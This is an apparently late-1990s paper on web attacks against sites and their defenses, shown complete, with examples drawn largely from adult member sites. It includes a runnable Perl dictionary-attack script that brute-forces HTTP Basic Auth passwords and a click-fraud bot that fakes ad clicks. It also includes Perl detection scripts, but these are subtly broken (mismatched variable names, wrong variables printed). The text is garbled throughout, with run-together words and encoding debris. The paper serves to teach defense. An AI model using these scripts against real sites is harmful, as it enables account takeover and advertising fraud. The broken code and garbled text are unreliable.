Defending against the Wily Surfer˚— Web-based Attacks and DefensesDaniel V. KleinCybertainment, Inc.dvk@erotika.comAbstractIntrusions are often viewed as catastrophic events whichdestroy systems, wreak havoc on data throughcorruption or substitution, yield access to closelyguarded sensitive information, or provide a springboardfor hackers to attack other systems.Yet not all intrusions on the Web are the blatant,smash-and-grab, trash-the-site kind of attacks. Manyattacks are more subtle, and some involve what appearsto be normal access to the site (but appearances aredeceiving!) This paper presents a compendium of someof the dirty tricks on the Web. These are used to stealbandwidth and server load (as well as revenue) from websites around the Internet. Other tricks funnel hits tosites other than the intended destination, whileadditional, more obvious techniques are used to bypasspayment schemes and gain free access to sites. Adifferent class of attacks targets the client, instead of theserver. Some of the dirty tricks are preventable up-front, while others can only be detected after the securityholes have been exploited˚— and always, there needs tobe a balance between accessibility and vulnerability.We present a compendium of problems, attacks, andsolutions. Many of the attacks and preventions seem�obvious� once known˚— this paper aims to forearm byforewarning the reader.1. Explanation (and expiation)Many of the intrusion techniques cited in this paper areprevalent in the adult web site domain, although this isnot to say that they don�t exist elsewhere. The reasonsfor the prevalence of attacks on the adult market are:1) The adult market is one in which content is actuallyworth money. Although E-Commerce is roaringalong strongly in other arenas, it is usuallymaterial product which is being sold (e.g., althougheBay and Amazon.com have huge amounts oftraffic, they sell hard commodities, whereas adultweb sites generally sell streams of bits).2) Although some non-adult sites sell data (e.g.programs or stock market tips), few of these areinterchangeable, but a lot of smut is.3) People will share passwords to adult sites, becausethere is rarely any personal information associatedwith the account. People are far less likely to sharetheir account on a stock investment site, sinceelectronic stock trades are legally binding to theaccount holder.4) Computer enabled teenagers (and there are an awfullot of them on the net today) generally couldn�t careless about stocks, bonds, news, or books. Sex, onthe other hand, occupies a substantial fraction oftheir attention.None of these reasons make the information in thispaper less valuable to non-adult web sites. As theelectronic medium becomes more and more available tothe general public, attacks of the kind outlined here willbecome more prevalent in every marketplace. Theexperiences of the adult market are hard won victoriesthat can forewarn, and thus forearm other markets.2. Domain name spoofingIf you have a new site with a hot new domain name,what kind of traffic can you expect? Who will come toyour existing site, and who will visit it based on theadvertisements you take out? The more difficult thename is to spell, the more likely it will be that surfersmistype the name. The more popular the site, thegreater the chance that someone will try to imitate yoursite, or simply steal hits by parasitizing your domainname. When AT&T introduced their 1-800-OPERATOR collect-call system, MCI diverted anoticeable fraction of the income stream by activating asimilar service on 1-800-OPERATER (a number theyconveniently already owned). There is a whole set ofInternet domain names that capitalize on surfers�inability to spell.Domains like n e t s c a p e . c o m have theirtypographical-error equivalents netscpae.com andnetscap.com, taken by a British and Californiagroup of entrepreneurs. Although neither currently haveactive web pages, there is income potential from eitherof these sites. Even more income potential can berealized by the clever Russians who registeredquiken.com, since the real quicken.com sells advertisements, and thus is an income generating siteitself. Were any of these domain name parasites tocreate a site that visually appeared the same as their hostcompany�s site, they could easily steal credit cardinformation or disseminate false information with thecachet of a real-looking web site.1Most newbie surfers have been indoctrinated withwww.something.com. Regardless of the realaddress, a web site simply must be prefixed with wwwand every domain must end in .com (as if a �domain�is a term that is readily understood outside of hackercircles). Smart companies register their domain in allof the available top-level domains (e.g., webtv.comand w e b t v . n e t , or u s e n i x . o r g andusenix.com), and both with and without hyphens,where appropriate. Uninformed groups fail to do so,and lose traffic, name recognition, and money.In 1995 a local web-based company createdpittsburgh.net, with the marketing slogan of�Pittsburgh on the Net�. I asked myself how manypeople would type .com instead of .net, andpromptly registered pittsburgh.com. I also aliasedit to my fledgling Pittsburgh-based web-hostingcompany. Without ever advertising the domain name, Istarted getting hits, and within 3 months (thanks to mycompetitor�s aggressive advertising campaign), fully40% of my hits were coming to pittsburgh.com.Perhaps the most renowned of these domain name�thefts� are the hits redirected from whitehouse.govto the similarly named whitehouse.com. Far frombeing the governmental information site that mostsurfers probably expect, it is an adult-oriented siteinstead.The proliferation of top-level domains only makes thisproblem worse. The Pacific island nations of Niue andTonga have gotten into the domain name business, soyou can register domains like w h o . n u andincogni.to for $35/year. The island nation ofTuvalu auctions domain names2, ostensibly fortelevision-related companies, so you can also register

1Prior to the transfer of the altavista.com domainname to Digital/Compaq, Altavista would pass queriesthrough to the �real� altavista.digital.com, whileselling their own ad space and rewriting the search engine’spage content.2According to their web site, the minimum bid is$1000. Tuvalu is also a �discriminating� registry in that itdoes not allow registration of pornography, hatred, orgambling content sites.color.tv. The Cocos Islands sells domains likemail.cc (with premium prices being charged for 2-letter domain names), the British Indian Ocean Territorydoes the same with domains like scenar.io, anduntil recently, Turkmenistan was also selling domainnames. However, the TMNIC realized that some of thenames it registered may be legally obscene inTurkmenistan, and as a result the TMNIC registry isreviewing its naming policy for future registrations (andhas suspended registrations until a new policy can beimplemented). But domains such as trademark.tmwere up for grabs until the suspension took effect.I shudder to think the confusion that will be sown whenit will be possible to have not only a foo.com,foo.org, and foo.net, but also foo.web,foo.shop, foo.firm, foo.info, foo.arts,foo.rec, and foo.nom.3 The potential for contentmisdirection and identity theft is stunning.Regrettably, there is only one defense against domainname spoofing. First, have a domain name which isdifficult to misspell (and that can cost a lot of money ifyou want a common, readily recognizable name thatsomeone else already owns). Second, you need to spendmore money and register the domain in each one of theof the possible top-level domains (althoughrealistically, you can probably skip Turkmenistan andthe various islands).3. Domain name stealingThe NIC provides a number of mechanisms forprotecting your domain registration. Unfortunately, fewnovice web registrants are aware of them.Once a domain is registered, its attributes can only bechanged by the administrative, technical, or billingcontact. By default, the identity of the personsubmitting a change request is validated via emailaddress, and notification of changes to the domain ismade after the fact (a PGP signature verification optionis also available, but newbies often don�t understand it).Unscrupulous individuals can readily forge an emailmessage that appears to originate from one of thecontacts. If the change request is to modify the primary

3As proposed by the Department of Commerce,National Telecommunications and InformationAdministration, Statement of Policy, �Management ofInternet Names and Addresses�, Docket Number:980212036-8146-02 (see http://www.gtld-mou.org/for more details).

and secondary domain name servers, the originalregistrant is still financially responsible for the domainwithout benefiting from its use. The best way for athief to do this is adjust their reverse IP lookups, suchthat the name of the counterfeit DNS server is the sameas the real thing. When the domain changeconfirmation is mailed to the legitimate contacts, theyare likely to miss the change in IP numbers, and seeonly that the DNS names are the same. Since contactemail addresses are often obsolete and non-functional,when confirmation email is sent, the confirmation maygo completely unnoticed. If the email addresses arevalid, a clever domain thief can even maintain MXrecords while changing A records, redirecting the webhits while preserving email identity.44. Password hacking and sharingThe reason aphorisms are so often repeated is notbecause we have all heard them so often˚— it is becausethey are correct. An aphorism for web site maintenanceis �Member site passwords are a weak point�.Passwords on a web site are as vulnerable to hacking asthey are anywhere, and password sharing is the sameproblem as it is on any computer. And as with anycomputer system, a good site administrator needs tocheck for hackers and password sharing. The advantageto the web is that log files (which are often examineddaily as a matter of course) contain information that canbe used to readily identify both problems.There are numerous sites on the web dedicated topublishing accounts and passwords, and there are at leasthalf a dozen newsgroups dedicated to nothing else.5The newsgroups and web sites are a mix of three things,and as with most newsgroups, the signal-to-noise ratiois fairly low. The first group consists of peopleactually publishing passwords. A second group ispeople seeking passwords (or offering to trade them, butgenerally only if you give away your secrets first).Finally, there are numerous shameless marketing ploys

4Although it sounds implausible, a number of verylarge adult web sites have been stolen in this way, and thetheft was only noticed months later when someone finallydecided to check server logs. As we will see over and overagain, log files are your friend.5A search for �pass� in newsgroup names yielded thefollowing 6 newsgroups: alt.etc.passwd,alt.ipl.passwords,alt.japanese.neojapan.shareware.password-exchange,alt.sex.commercial-sites.password-exchange,alt.sex.password, and alt.sex.passwords. Searching for�crack� resulted in 15 more newsgroups related to crackingcommercial and shareware programs. So much for honestyand integrity on the Net.disguised as password postings. This latter groupentices you to visit a web site with promises of freepasswords, when in fact the supplicant is greeted witheither a membership site and/or a plethora of banner adsand pop-up windows (either of which having thepotential to make money for the web site maintainer).But because valid passwords are often posted byunscrupulous individuals, the threat of password sharingis indeed real. The following chart shows 6.5 monthsof HTTP transfers from one member-based web site(from site-launch until just before this paper went topress). The load on the system varies throughout theweek, with troughs generally occurring on theweekends, and with an average network load of 500Mbof data per day (with a recent surge up to 1Gb per day,due to a successful advertising campaign). As adultsites go, this one is a relatively small one˚— large sitescan easily push 100 times this much data (or more) outthe pipe every day.

Bytes Transferred per Day,Password Publication Incidents0 Gb1 Gb2 Gb3 Gb4 Gb5 Gb6 GbAt the middle (14 Nov 1998) and just at the end of thegraph (8 Feb 1999), an account/password pair waspublished on a password web site (by personsunknown), and the load on the server surged to nearlyten times it�s normal value, almost completely fillingmy T1 link. While an intrusion can rarely beconsidered fortuitous, the timing of the second eventwas such that this paper benefited from an significantadditional data point.

Raw Hits per Day,Password Publication Incidents0 K100 K200 K300 K400 K500 K600 K

Cutting off the password in question roughly 20 hoursafter it was posted alleviated the server load, and restoredoperating parameters back to normal within a day or so.The hit rate stayed high for a slightly longer time periodthan the byte transfer rate, since surfers were stillattempting to access the site via the now-disabledaccount.A couple of statistics are worth noting on theseincidents. For the previous two years (on this, and allother member sites I maintain), an average account wasvisited from no more than 3 domain addresses (asdefined in the script in the following section), andgenerally one of those domains accounted for over 85%of the total hits for an account. In the second event,over 2,675 domains in 85 countries were evident(comprising an unknown number of individuals). Thechart below shows the number of hits for the top-10domains visiting the site:47207bellatlantic.net8359com.au

35687aol.com7874home.com

31429tele.dk7668net.au

11769edu.tw6373ripe.net

8762uu.net5673dfn.de

It is not at all surprising that the big ISPs account forthe vast majority of the hits. What is perhaps a littlemore surprising is that the University system in Taiwanaccounts for such a large fraction of this hits. When thetop-20 TLDs are listed, we see the followingdistribution of accesses:171906.net6922.fr

95117.com6688.it

35109.dk6350.uk

24998.de4572.kr

23889.edu3795.fi

16952.au3698.ch

14169.ca3611.my

13019.tw3075.no

9649.se3028.at

9076.nl2865.mx

Considered collectively, the greatest number of hitsoriginated in the United States, with Denmark andGermany (long viewed as a source of adult materials)occupying a substantial fraction of the free-passwordsurfers� hits.What affect do these intrusions have on membersignups? Prior to these two incidents, I posted apassword myself to alt.sex.passwords on 22Dec 1997. This was both as a test of my then-newintrusion detection software, and as my own shamelessmarketing ploy. I had predicted that after access to mysite was cut off, people would pay to sign up, havingbeen hooked by the content. The software worked asplanned, but the marketing attempt failed miserably˚—most people who frequent the password sites andnewsgroups are looking for a free ride. The same wastrue following the two real intrusions, namely that noperceptible increase in member signups occurred.It is interesting to note that for the test incident, thegreatest number of surfers originated in Russia. At thetime, it made sense that smut-hungry surfers incountries that were short on hard currency would findthemselves compelled to purloin access to membersites. Of course another interpretation could be that incountries where religion had not been suppressed,people were more interested in spending the winterholidays with family than surfing for smut. The latterseems perhaps more reasonable, since Russia ranked 41in the TLDs of the real attacks, and accounted for lessthan 2.5% of the number of hits of Denmark, while thereverse was true of the test incident.It is difficult to do more than speculate on the nature ofthe surfers, although the statistics do pose an interestingset of sociological questions. The bottom line, though,is that if your site�s passwords are posted (and you don�thave software to detect it), you�re in serious trouble.4.1. Detecting password sharingThe following is a simple-minded Perl script whichtests for password sharing. It examines a standardHTTP log file, and tallies the number of domains fromwhich a password has been used. The script makes thefollowing simplifying assumptions:1) All hits from within a domain are considered to bethe same. So if a surfer shares a password withtheir coworkers (or legitimately views the site fromtwo different machines in the same domain), thisscript will not detect it.2) All hits from within the same Class-C subnet arealso considered to be the same. For those sites forwhich reverse DNS is inaccurate or unavailable (orfor web servers which choose not to do DNSlookup), this simplification will remove a large number of false positive reports of passwordsharing (although it will remove some true positivereports, too).Although these assumptions reduce the effectiveness ofthe script, experience has shown that casual sharing isnot the main concern of a site, it is blatant passwordpublication that matters most. It is also not unusualfor a surfer to view a site from different ISPs at workand at home, so it is up to the site monitor to make thedistinction between password sharing and office/homeviewing.#!/usr/bin/perl## Parse the log files. We only really care# about the first three fields (and not# really about the middle one of those).#while (<>) {($addr, $rfc931, $acct) = split;next if $acct eq "-";$total{$acct}++;if ($addr =~ /^(\d+\.\d+\.\d+)\.\d+$/) {$addr = $1;}else {$addr =~ s/^.*\.([^.]+\.[^.]+)$/$1/;}$acct{$acct}->{$addr}++;}## Extract the various cheaters in magnitude# order#for $acct (sort{ $total{$b} <=> $total{$a} }keys %count) {if (keys %{ $count{$acct} } > 2) {push @multi, $acct;}}exit unless @multi;## Print the cheaters out˚— account and# domain/IP addresses#for $acct (sort{ $total{$b} <=> $total{$a} }@multi) {print "$acct˚— $total{$acct}:\n";while (($ip, $num) =each %{ $count{$acct} }) {printf "%5d %s\n", $num, $addr;}}}Because my sites are only very infrequently attacked(and because income loss is consequently minimal), Irun this script once a day. Were I more paranoid, Iwould run it a few times a day, and enhance it toautomatically disable accounts when an obviousintrusion had occurred.4.2. Password crackingDictionary-based attacks on a web site are as time-consuming as they are on any networked system, butfrom the standpoint of the cracker, there are twoprofound advantages to a web-based attack.1) The stateless nature of the web almost guaranteesthat a web server does not retain a count of failedattempts (login, on the other hand, maintains stateinformation and logs incidents when a surfeit offailed attempts occur, in addition to breaking theTCP connection after a small number of failures).2) Because web servers are designed to handle multiplesimultaneous connections, a cracker can easilylaunch multiple simultaneous attacks.It is almost trivially simple to write a script whichhammers away at a server, attempting to crack apassword. Here is one such script that forks off 10copies of itself to do the work. The script will onlyattempt about 10-20 connections per second, but that�sfast enough if you know someone�s account name�#!/usr/bin/perldie "Usage: $0 URL acct\n" unless @ARGV == 2;($url, $acct) = @ARGV;require HTTP::Request;require HTTP::Response;require LWP::UserAgent;use URI;$ua = new LWP::UserAgent;$url = new URI $url;$req = new HTTP::Request ’GET’, $url;## Read the dictionary into memory, and# figure the size of each piece#open (DICT, "/usr/share/dict/words");@words = <DICT>;$each = @words / 10;## Spawn 10 children, and give each of them# a piece of the dictionary.#FORK: for $kid (0..9) {## Parent forks off kids and continues,# child does the real work#next FORK if ($status = fork);

for $w (@words[($kid * $each) ..($each-1 + $kid * $each)]) {$req->authorization_basic($acct, $w);$response = $ua->request($req);## 401 is "authorization denied". If# you get anything else, you’re in!#$response->code == 401 && next;die "Kid $kid cracked it! $w\n";}exit;}0 until ($status = wait) ==˚—1;printf "Total elapsed time %d seconds\n",time˚— $^T;4.3. Detecting password crackingIf I am going to tell you how to crack passwords on theweb, then I also must show how to detect a cracker atwork. Here is trivial Perl script which looks for HTTPpassword cracking. It simply examines a standardHTTP error log file, and tallies the number of failedattempts to access an account. It then reports thoseaccounts for which greater than 30 attempts have beenmade (with the rationale that any fewer number ofattempts are either a surfer who has forgotten theirpassword, or a cracking attempt of no strength).#!/usr/bin/perl$reasons = "not found|password mismatch";while (<>) {if (/reason: user (.*) ($reasons)/o) {next if length($1) == 0;$botch{$1,$2}++;}}for $bad (keys %botch) {($user, $why) = split /$;/, $bad;if ($botch{$_} >= 30) {print "user $user $why $botch{$_}\n";}}I have not detected any intrusion attempts using thisscript (credit-card fraud is more often the means used togain a password), but I still run this script daily, just incase someone tries to break in.5. DNS cache poisoningWhen your web browser goes to www.foo.com, howdoes it know how to get there? DNS provides thename-to-number mapping, so that your browserconnects to the appropriate IP address. If the DNSserver can be convinced that the IP address ofwww.foo.com is something other than what it shouldbe, then web hits can be redirected to another site.It turns out that it is relatively simple to do so (and inthe good-old-days of the pre-cracker Internet, it used tobe almost trivially so). Essentially, a cache poisoningattack works like this (the details have been simplifiedsomewhat):1) DNS works via UDP, to increase speed byeliminating the startup costs of TCP connections.When a DNS client wants to know a name-to-IPaddress mapping, it sends a UDP message to aDNS server, and awaits a UDP reply. If the serverdoes not have the answer it its local cache, itrecursively queries other servers for the answer(down a very short chain from a root server to theauthoritative server for the domain).2) Since UDP packets are connectionless and thereforestateless (all state information must be maintainedby the programs which use them), it is possible tosend a message to a DNS server that claims �here�sthe (fraudulent) answer to the (nonexistent) queryyou just sent me�. The �answer� contains yourbogus information, and most DNS servers simplyaccept the answer!6Now, why would someone want to poison a DNScache? Here are a couple of reasons:1) Profit˚— point a popular site�s name at your IPaddress, and reap the benefits. These can be in theform of advertising income, membership income(typically from a third site, since the poisoningwill eventually be corrected), or bragging rights forthe crackers.2) Sabotage˚— point a very popular site�s name atyour competitor�s IP address, and cause ameltdown. Imagine poisoning AOL�s DNS cacheduring the Olympics to point cnnsi.com atsomeone with mere T-1 connectivity. Most sitessimply cannot handle 10 million hits/day.Unfortunately, the only defenses against DNS attackslie within BIND itself (and other DNS agents like

6The latest versions of BIND keep track of the requeststhey have sent out, and will not accept an answer from aserver unless they have actually asked a question. This isharder to subvert, but still possible, by sending streams offorged answers with a question-inducing query inserted inthe middle of the stream.

Microsoft�s DHCP)˚— there is little that the averageweb site can do to prevent them (and in any event, themost effective attacks are made against major upstreamproviders and ISPs).6. Bandwidth thievesA large number sites offer free content. Some of thesesites have a huge traffic load (e.g., search engines, stockmarket sites, adult sites), so the costs of maintainingthe sites is non-trivial. Altruism is probably not themain motivation for these sites� existence. Since themore likely culprit is monetary gain, where is theincome generated if content is given away for free? Theanswer is advertising˚— the more surfers who comethrough a site, the more ad impressions are made, andthe more money can be made. Regardless of thepayment mechanism, the larger the volume of traffic,the more money to the web site.The problem (from the standpoint of a web site) is thatbandwidth costs money, but you need to have a lot ofbandwidth before you can entice high-paying advertisersto your site. But advertisers who pay via profit sharingdon�t necessarily care if a site has high volume, as longas they make sales.One technique used by low-volume web sites to increasetheir advertisement income is bandwidth theft. Withthis technique, the HTML on the site consists of thelook-and-feel of the site, the advertisement, and thecontent. The first two items originate at the site itself,and generally do not produce a large bandwidth load.The last item˚— the content˚— is (typically) an imagewhose URL is on a different site, being parasitized.This site is the one that pays for the majority of thebandwidth, but it derives no benefit (that is, the adsbeing displayed do not credit the host site, but insteadcredit the parasite site). Bandwidth theft is mostcommon when the URL of the image does not change.7Automated defenses are possible at the cost of CPUutilization, but they also require the assumption thatbrowsers will deliver accurate referrer information. Inorder to prevent bandwidth theft on an automated basis,the service for each request for an image must check for

7While the notion of an unchanging URL seems correctfrom a site-maintenance standpoint, it is in fact the wrongmodel to use when giving away free content. If a �pictureof the day� page references today.jpg, then any otherpage (on any other site) can trivially reference the sameimage URL, and steal bandwidth from your site. A URLwhich changes daily requires the parasite to change daily,too˚— something which is beyond most bandwidth thieves.the referrer URL. If the browser tells the truth (oneexpects that it might), then a referrer whose domain isdifferent from the one on which the image resides isprobably a bandwidth thief, and the request can be denied(or a replacement image can be supplied which suggeststhat a theft might be occurring ).This proactive approach is CPU intensive, since eachrequest requires the execution of a CGI script (the authoris unaware of any modules in the common web serversthat do this function directly). A different, reactiveapproach is to maintain a referrer log file, and simplyscan (programmatically, of course) for image files beingrequested by off-site HTML pages. When theft isdetected, you can either put the thief on notice (usuallya futile effort), or change the image URL.Another reactive method is to use the advanced searchfeatures of the various search engines, to look for pageswhich reference your sites� images. This approach iscertainly sub-optimal, as it can take a long time forsearch engines to index the thieves sites (if they evenpermit indexing via the robots.txt file).The most effective deterrent against bandwidth theft (andregrettably, the most expensive from a bandwidthstandpoint) is to simply not use static file names. Twoeasy ways of accomplishing this are:1) If the free content is relatively static (that is, if itchanges fairly infrequently), the directory name inwhich it resides can be changed. This presents anumber of challenges, the first of which is thatsearch engines need to be continually re-notified (orbetter, discouraged from indexing the low-leveldirectory which contains the content). The secondproblem is that the bandwidth load on the serverincreases because various web caches will notcontain the newly updated file names.2) If the content changes frequently, then reloading(and the concomitant bandwidth load) is an issuethat already has been addressed. In this case, it isfar better to choose non-trivially-predictable filenames for the content. This means that it isnecessary to edit the HTML that references theimages (and expire the HTML pages to referencethe changed images).Unfortunately, in addition to being time consuming andexpensive, legal recourse is of questionable merit.When someone references your image on their HTMLpage, the law is unclear on whether a copyright violation has occurred8˚— after all, the thief is notrepublishing the image, you are!7. Data theftAnother form of intrusion on the web is out-and-outtheft of content. This typically presents itself as yourimages appearing on a different site (often with youridentifying marks trimmed off, and sometimes withdifferent marks tacked on), but can also extend itself tocomplete mirroring of a site. Clearly, this is aviolation of copyright law, but how can you detect it?Surfing the web for your imagery requires you to lookat the assorted images, and some companies have peoplewhose job is nothing more than to surf for stolenimages.Of course it would be nice to automate the process, andsome proponents of the process have proposed the�watermarking� of images. The method here is toinvisibly encode identifying information in the images.The simplest mechanism is to use the comment field inthe GIF or JPG image. Another method is to encoderepeating serial numbers in the low-order bits of theimage pixels (single bit differences are indiscernible tothe human eye, but could easily be read by a program).Other, more sophisticated techniques are also proposed,and are beyond the scope of this paper.The problem with all of these methods is that imagesare just data in a standardized format, and data can bemanipulated. Copyrights can be trimmed off or blottedout, comments can be altered, and marks created by thewatermarking system that this author experimented withwere erased by simply re-saving the image with adifferent image viewer (without even trying to removethe watermark).An alternative approach is to place visible markers onimages. Many sites put a �banner bar� at the top orbottom of the picture, but these can be readily trimmedoff. Other sites emboss the images with their sitename, but this noticeably degrades image quality (and itis images that your paying customers are looking for).A third approach puts a visible marker (words, a logo, acopyright notice, or some combination) in a �non-

8In fact, the law is having very serious trouble keepingup with the the Internet and other electronic transmissionsas regards all aspects of information dissemination (seeRobert Reilly, �Mapping Legal Metaphors in Cyberspace:Evolving the Underlying Paradigm�, and KeithKupferschmid, �Lost in Cyberspace: The Digital Demise ofthe First-Sale Doctrine�, J. Computer & Information Law,vol XVI 1998)intrusive� location on the picture. In this case, adelicate balance needs to be maintained so that themarker is not so big that it pollutes the image and notso small that it can be airbrushed out. The marker alsoneeds to be placed in such a way that trimming it out ofthe image would degrade the image content to anunacceptable degree.The best solution is probably to use a combination ofGIF/JPG comment fields, combined with a markerdirectly in the picture. But even with this solution, ahuman generally needs to be employed to simply lookfor images that have been purloined. A low techsolution, but an effective one.8. Click-botsA lot of money can be made on the web by creatingfree-content sites that sell advertising. This model hasworked well for search engines, stock-market sites,Internet malls, and of course, adult sites. Advertiserstypically pay sites by one of three mechanisms:1) Per impression˚— that is, the number of times an adis presented to surfers. Most of the search enginesuse this mechanism, since it is the most favorableto the site carrying the ads (payment is directlyrelated to both the surfer traffic through the site andthe bandwidth used by the site), and it is also themost easily tracked by the site carrying the ads.2) Per click˚— that is, every time a surfer clicks on anad, revenue is generated. This mechanism is usedby some stock-market sites and also by adult sites.The payment rate is related to both the trafficthrough the site and the effectiveness of the ad, soin some ways, this payment mechanism is fairestto both parties. Tracking can be done by bothparties, although the site displaying the ads canexpect to see slightly higher click-throughpercentages than the advertiser (due to abortedconnections, time-outs, etc.)3) Per sale˚— that is, for each click-through thatresults in a sale a percentage of the income is paid.This mechanism is fairest to the advertiser (sinceads placed in an unfavorable location do not makesales, but also do not cost the advertiser), but salestracking can only be done on the seller site.To some degree, a lot of advertising on the web needs tobe based on mutual trust. In the adult marketplace,there is little trust (and often little technical savvy onthe part of web site maintainers), so per-impression advertising is rarely seen. Although per-sale advertisingis rapidly becoming the payment of choice, per-clickadvertising is still prevalent (often the payouts arescaled to the conversion rate9).The problem with click-through advertising is that itcan be trivially spoofed. The following simple Perlscript fakes a click on a counting web page on thepigeon site10 every 8 seconds, on average:#!/usr/bin/perluse HTTP::Request;use LWP::UserAgent;$ua = new LWP::UserAgent;$ua->agent("Mozilla/3.01");$req = new HTTP::Request(GET =>"http://pigeon.com/count/143");while (1) { $response = $ua->request($req); sleep int rand 16; }There are a number of defenses against this blatant formof spamming. The most prevalent one is the countingof so-called �uniques�. Most web sites use proprietaryalgorithms to distinguish unique hits, and do notpublish their techniques. This is ostensibly so thatspammers cannot circumvent whatever checks are inplace, but most likely it is to hide the crudity of thealgorithms.In general, most sites simply count one hit per IPaddress in a set time period (3-6 hours is a reasonableguess). While this certainly eliminates spammers, italso fails to count almost all legitimate hits from proxyservers in place at AOL, Compuserve, etc.To circumvent unique-checking, sophisticated spammerscan use the FTP indirection attack. This attack takesadvantage of the fact that �classic� FTP connections usethe control connection to specify a destination IPaddress and port for the data connection. In practice, thedata IP address should be the same as the originatingcontrol connection, but the protocol can be spoofed anda third-party address can be given (newer FTP serversprevent this type of attack, but they are by no meansprevalent). With this attack, an FTP server can be usedas a proxy for HTTP (or other) requests, and an attackerwith a specialized FTP client can use a large collection

9The fraction of sales over the number of clicks.10A �pigeon� is a mark, a stooge, a patsy, or moresimply put, the target of a scam.of FTP servers to generate what appears to be numerousnon-unique HTTP click-throughs.If this type of attack is used, an automated defense isdifficult to implement.11 In general, human vigilanceis the only way guard against them. Periodic checksneed to be made of the purported source of the click-throughs, and spammers can often betray themselveswith their own cleverness. Many web sites feature hitcounters. These counters are often provided by third-party web sites, which also rank sites by the number ofhits they generate per day, and thus provide a popularityrating of the site (the web counter sites are free, and alsomake their money through advertising).Since most ads generate a known click-through rate(depending on the ad itself and the other information onthe page), the web counters can be correlated with theclick-through rate to detect obvious spamming. If thefrequency of click-throughs is too high, the most likelyculprit is fraud.9. Banner hijackingDepending on site content and the advertisement itself,ads typically generate between a 1-2% click-through rateon search engines to a 5-15% click-through rate on adultsites. This disparity is due to the fact that surfers on asearch engine are looking for information content (thatis, the pages the search-engine has located, and not thepossibly unrelated ads), while adult-site surfers havelearned that numerous free images can be seen bysimply clicking through ad after ad. The moresuccessful ads are, of course, worthy of imitating. Orplagiarizing. Or out-and-out copying.Some sites actually use their competitors� banners toadvertise their own sites. Alas, there is very little thatcan be done to detect this so-called banner hijacking,because not only do you have to look for your bannerson other�s pages (which is where they belong, in orderto advertise your site), you have to ascertain whether ornot the banner�s click-through URL points to your site(this is not always obvious, especially if bannerrotation software12 is in use).

11I am not providing an example of a script whichperforms this type of attack, precisely because guardingagainst it is so difficult.12Some sites have static ads (ads which are only changedby editing the enclosing HTML), while others use adrotation software (working in conjunction with SSI,Javascript, or Active Server Pages) for ads which canchange based on advertiser-defined constraints, includinghaving a different ad load each time a page request is made).

One way of detecting your banners is through theaforementioned watermarking, since not many sites arelikely to edit the banner, unless it contains an image ofa URL. Another strategy involves looking for bannerswith dimensions and byte counts similar to your own,then parsing the HTML of such candidates to determinewhether or not your banner is being used to advertisesome other site.Fortunately, banner hijacking is relatively rare (peopleusually choose to steal content, instead). In cases whereit exists, though, manual searching is usually the onlyway to find it.10. Meta-tag HijackingIf you have a site that you want to publicize, what isthe fastest way to do it for a minimal cost? Banner adshave a limited click-through rate (and can be expensive),ads in print, TV, and radio have a long lead time and aprohibitive cost (both in production and display), andlink trades and link circles are only minimally useful.Getting listed in the search engines is really the bestway to get noticed. But with between 40 and 100million pages catalogued in most of the major searchengines, how do you get listed near the top?There are a number of sites which will automaticallyexamine your pages and suggest the most appropriatekeywords, but the best way to get good placement is tocopy the META tags13 of the top-listed site! If it wasgood enough to put them at the top of the list, it willdo the same for your site.Depending on the keywords and phrases used, there maybe nothing at all illegal with meta-tag hijacking, andthere is nothing you can do to prevent someone fromusing your well-thought-out keywords. Only wherecopyrighted names are used is there any recourse, andyour pursuit of hijackers must be aggressive, or you canlose your copyright protection.14 But if your choice of

13In the <HEAD> section of pages indexed by manysearch engines, the tags <META NAME=�description�>and <META NAME=�keywords�> give the engines theinformation on how to index the page. This placesindexing control in the hands of the web author, instead ofa heuristic in the indexing engine.14In a 1997 ruling, Playboy Enterprises successfullysued a number of sites which were fraudulently using theword �Playboy� in their meta tags to draw in surfers. But in1998, another suit ruled that since Playboy had awarded thetitle �Playboy Playmate of the Year� to one of its models,that model was allowed to use the term in her site�s metatags.keywords is merely clever, there is not much you can doto prevent your meta tags from being hijacked (althoughif you copyright the description, that can be protected incourt). But unless you�re near the top of the list, therealso is not much point in searching out hijackers.But if you�re at the top of the list, how can youdetermine when your meta tags have been hijacked? Byusing essentially the same technique used by thehijackers˚— surf the search engines, and look for sitesthat appear near yours. Examine their meta tags, andsee if they resemble (or are copies of) yours. Thisprocess can be automated, but the script is of sufficientcomplexity that it is beyond the scope of this paper.11. Search Engine MisdirectionIf you don�t want to blatantly purloin someone else�smeta tags, how do you get a lot of surfers to visit yoursite? The answer is simple: lie to the search engines.My favorite example of this occurred when the firstwave of public interest in Viagra“ was in full swell.Some industrious web sites simply placed a fewinformative paragraphs about the drug on their pages(sometimes in a tiny point size), and resubmitted themto the search engines. Many was the hapless surfer whowas lured into an adult-oriented site while researchinginformation on the drug.Another technique is for a site to make a comparisonbetween their product and their competitor�s, and listthat page on the search engines. In this way, no matterwhich product the surfer is looking for, they will findthe misdirecting site�s pages (and more hits mean thepotential for more sales).Unfortunately, there is nothing at all that can be done toprevent this type of attack (other than a ban by thesearch engines). The only defense is the ever-usefuladvice of caveat emptor. It is up to the surfers not tofall for the misleading ads.12. Frame spoofingAn interesting vulnerability in frames enables theauthor of a nefarious web site or email message to�spoof� information presented by another web site.15This vulnerability exists in all the popular webbrowsers that support frames, and is exploitable bothwith and without Javascript being enabled.

15See http://www.securexpert.com/framespoof/for complete details and a working example.

Almost every site using frames is vulnerable to thisform of attack, which enables an attacker to have theirinformation represent itself as having originated at yourweb site. In this way, an attacker can steal credit cardinformation, disseminate misleading or damaginginformation, steal passwords, etc.The vulnerability occurs simply because Netscape andMSIE fail to protect the frames[] array from cross-domain write access. This enables one web site (or anHTML email message) to replace a frame displayed byanother site with content that is under the attacker’scontrol.All that is required for a web site to exploit thevulnerability is either one of the following:1) The attacker has opened the victim site’s window˚—either by sending HTML email, or from a scriptedweb page (required for the Javascript-based variantof the attack).2) The attacker knows the name of a frame in thevictim site (for the HTML-based variant).Detecting this type of intrusion from a web site is well-nigh impossible, since the attack is done on thebrowser, and not on the web site. Using the searchengines to hunt for links to your frames is one defense,but a weak one (especially since attacks can be HTMLemail based). Checking referring URLs is anotherreactive test, but it is time consuming and extremelylabor intensive.Protecting against this form of attack is done in atwofold manner, since both surfers and sites can guardagainst it. For surfers, not having more than onewindow open at a time is the surest defense (sinceexploiting the bug requires a window to attack and awindow to attack from).For web sites, SecureXpert offers solutions only totheir paying clients, so I am unable to comment onthem. However, eliminating frames from your HTMLis certainly one defense, albeit a draconian one.13. Revenge of the NerdsIt is worth noting that surfers are not the only onesguilty of hacking and spamming. Web sites are oftenjust as guilty of the same offenses. Many of the site-induced intrusions involve Javascript, so preventing theattacks is as simple as disabling Javascript (a 